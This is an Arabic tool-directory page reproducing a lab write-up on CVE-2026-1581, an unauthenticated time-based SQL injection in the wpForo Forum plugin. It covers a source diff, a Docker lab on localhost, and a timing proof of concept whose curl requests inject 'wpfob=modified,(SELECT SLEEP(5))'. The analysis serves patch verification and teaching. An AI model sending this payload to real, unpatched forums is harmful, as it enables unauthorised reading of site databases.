Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-1581-Analysis-Lab — يعيد إنتاج CVE-2026-1581، وهو حقن SQL قائم على الوقت دون مصادقة في wpForo Forum <=2.4.14، مع مختبر Docker وPoC لإظهار الثغرة والتحقق من التصحيح. | Kitploit
أدوات/GitHubGitHub/rootdirective-sec/cve-2026-1581-analysis-lab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubrootdirective-sec/cve-2026-1581-analysis-lab

CVE-2026-1581-Analysis-Lab

يعيد إنتاج CVE-2026-1581، وهو حقن SQL قائم على الوقت دون مصادقة في wpForo Forum <=2.4.14، مع مختبر Docker وPoC لإظهار الثغرة والتحقق من التصحيح.

عرض المستودع
1منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-1581 — إضافة wpForo Forum (<= 2.4.14) حقن SQL زمني غير مصادق عليه (ORDER BY)

ภาษาไทย


الملخص التنفيذي

الحقلالتفاصيل
معرف CVECVE-2026-1581
الإضافةwpForo Forum
الإصدارات المتأثرة<= 2.4.14
الإصدار المُصحَّح2.4.15
نوع الثغرةحقن SQL زمني غير مصادق عليه (ORDER BY)
درجة CVSS7.5 (عالية)
متجه CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • CVE-2026-1581 هي ثغرة حقن SQL زمني غير مصادق عليه في إضافة wpForo Forum (<= 2.4.14). يتم استخدام المعامل wpfob في جملة ORDER BY مع تطبيق تنقية نصية فقط، مما يسمح لمهاجم غير مصادق بحقن تعبيرات SQL عشوائية وقراءة البيانات من قاعدة البيانات.

  • قام المطوّر بإصلاح هذه الثغرة في الإصدار 2.4.15 عن طريق استبدال sanitize_text_field() بـ wpforo_sanitize_orderby()، الذي يفرض قائمة بيضاء مدركة للسياق.


النطاق والسلامة

  • التشغيل على localhost + Docker Compose فقط.

  • الـ PoC هو إثبات توقيت زمني لإظهار الفرق بين الإصدار المُصاب والإصدار المُصحَّح.

  • لا تستخدم ضد أي نظام دون إذن صريح.


الأدلة في لمحة

  • إثبات الإصدار: صفحة /community/ تحمّل /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (مُصاب) مقابل 2.4.15 (مُصحَّح).

  • إثبات الكود: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)

  • إثبات السلوك: wpfob=modified,(SELECT SLEEP(5)) يسبب تأخيرًا ~5 ثوانٍ على الإصدار المُصاب؛ بينما يستجيب الإصدار المُصحَّح قريبًا من خط الأساس.


ما لاحظته من نشرة CVE

  • نشرة CVE تذكر فقط أن هذه ثغرة حقن SQL زمني عبر المعامل wpfob، وتم إصلاحها في 2.4.15. في وقت التحليل، لم يكن هناك أي PoC عام متاح.

  • لذلك تم بناء هذا التقرير من خلال مقارنة الكود المصدري بين 2.4.14 و2.4.15، وتتبع المعامل من مدخلات HTTP عبر التنقية حتى نقطة استخدامه في بناء استعلام SQL — لفهم السبب الجذري وإعادة إنتاج المشكلة.

vulnx CVE-2026-1581


1) التحليل المدفوع بالكود المصدري

1.1 تحديد موقع wpfob

بدءًا بالبحث عن wpfob في الكود المصدري، تبيّن أن صفحة الأحدث (Recent) تأخذ القيمة مباشرة من معامل GET وتُسندها كوسيط orderby.

find wpfob

المُصاب (2.4.14) — themes/classic/recent.php:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';

المُصحَّح (2.4.15) — نفس الملف، تم استبدال المُنقّي:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

لماذا التركيز على recent.php؟ لأنه مسار قابل للاستغلال حيث يتم إسناد wpfob مباشرة إلى $args['orderby'].


1.2 تدفق البيانات إلى SQL: ORDER BY ...

بمجرد تعيين $args['orderby']، يتدفق إلى مُنشئ الاستعلام في wpForo لبناء جملة ORDER BY.

تسلسل ORDER BY (المُصاب 2.4.14)

classes/Topics.php:

SQL builder: ORDER BY concatenation in Topics.php

classes/Posts.php:

SQL builder: ORDER BY concatenation in Posts.php

الشرح

  • sanitize_text_field() فقط يزيل/ينظف السلسلة النصية — ولا يفرض قائمة بيضاء لأسماء الأعمدة المسموحة.
  • نظرًا لأن orderby يتم تسلسله مباشرة في ORDER BY <orderby>، يمكن للمهاجم حقن تعبيرات SQL عشوائية في موضع ORDER BY.

المرجع: https://developer.wordpress.org/reference/functions/sanitize_text_field/


1.3 أبرز نقاط التصحيح/الفرق (2.4.14 → 2.4.15)

1.3.1 الفرق: recent.php

root@kitploit:~
32c32
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.2 الفرق: wpforo.php

root@kitploit:~
1036c1036
< 					$args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> 					$args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.3 دالة التصحيح الجديدة: wpforo_sanitize_orderby()

يقدم الإصدار 2.4.15 مُنقّي قائمة بيضاء مدرك للسياق يعيد القيمة الافتراضية إذا لم يكن الإدخال في القائمة المسموحة:

whitelistor


2) تصميم المختبر (المُصاب مقابل المُصحَّح)

2.1 الخدمات في Docker Compose

  • wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081
  • wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082
  • db_vuln / db_patched (MariaDB)
  • seed_vuln / seed_patched — يستخدم wp-cli لتثبيت WordPress، وتثبيت الإضافة، وإنشاء صفحة /community/ مع شورت كود [wpforo]، وتهيئة الروابط الدائمة، وإنشاء .htaccess، وإنشاء أدوات تحقق.

2.2 مسار الاختبار

من قراءة الكود المصدري، يتم استخدام wpfob بشكل صريح على صفحة الأحدث (recent):

  • http://localhost:8081/community/recent/?view=opened
  • http://localhost:8082/community/recent/?view=opened

3) إعادة الإنتاج: إثبات التوقيت

يجب وجود موضوع واحد (topic) ومنشور واحد (post) على الأقل قبل الاختبار.

3.1 لماذا "المنشورات مطلوبة"

  • هذه ثغرة حقن في ORDER BY.
  • إذا لم يكن لدى wpForo مواضيع أو منشورات، قد يُرجع الاستعلام 0 صفوف — وفي هذه الحالة لا يحدث فرز على جانب قاعدة البيانات، وقد لا يُقيَّم مسار الكود تعبير ORDER BY، ولن يُلاحظ أي تأخير — نتيجة سلبية خاطئة.

يجب وجود موضوع واحد (topic) ومنشور واحد (post) على الأقل.

3.2 توقيت خط الأساس

root@kitploit:~
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
  "http://localhost:8081/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
  "http://localhost:8082/community/recent/?view=opened"

baseline

3.3 توقيت الهجوم

root@kitploit:~
curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
  --get "http://localhost:8081/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
  --get "http://localhost:8082/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

المتوقع

  • المُصاب: attack_vuln ≈ baseline_vuln + ~5s
  • المُصحَّح: attack_patched ≈ خط الأساس (بدون تأخير)

3.4 النتائج

result


دليل التشغيل — كيفية بناء المختبر واستخدام الـ PoC (CVE-2026-1581)

1) بناء المختبر (المُصاب مقابل المُصحَّح)

1.1 المتطلبات الأساسية

  • Docker Desktop + Docker Compose v2
  • المنافذ المتاحة: 8081 (مُصاب)، 8082 (مُصحَّح)

1.2 الملفات المطلوبة

  • docker-compose.yml
  • scripts/seed-wp.sh

1.3 تشغيل المختبر

من مجلد المشروع:

root@kitploit:~
docker compose up -d

1.4 التحقق

تأكد من أن كلا المثيلين قابلان للوصول:

  • المُصاب: http://localhost:8081/community/
  • المُصحَّح: http://localhost:8082/community/

وصفحة الأحدث:

  • المُصاب: http://localhost:8081/community/recent/?view=opened
  • المُصحَّح: http://localhost:8082/community/recent/?view=opened

vuln home page vuln community page vuln recent page

1.5 إضافة مواضيع/منشورات عبر wp-cli (للاستخدام المخبري فقط)

مطلوب لإمكانية إعادة الإنتاج ولمنع النتائج السلبية الخاطئة.

root@kitploit:~
# 1) التحقق من الأعداد (المُصاب)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts  FROM ${PREFIX}wpforo_posts;"  --allow-root
'

# 2) إدراج موضوع واحد ومنشور واحد (المُصاب)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)

wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root

echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'

بالنسبة للمثيل المُصحَّح، استبدل seed_vuln بـ seed_patched.


2) استخدام الـ PoC

2.1 تثبيت التبعيات

يُوصى باستخدام بيئة افتراضية:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt

2.2 تشغيل الـ PoC

root@kitploit:~
# المُصاب
python3 poc.py http://localhost:8081

# المُصحَّح
python3 poc.py http://localhost:8082

2.3 مخرجات الـ PoC

POC


3) التنظيف

root@kitploit:~
docker compose down -v

المراجع

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-1581
  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/4c447dbb-f8fb-4b46-9c47-20ab7330bbaa?source=cve
تنزيل الأداة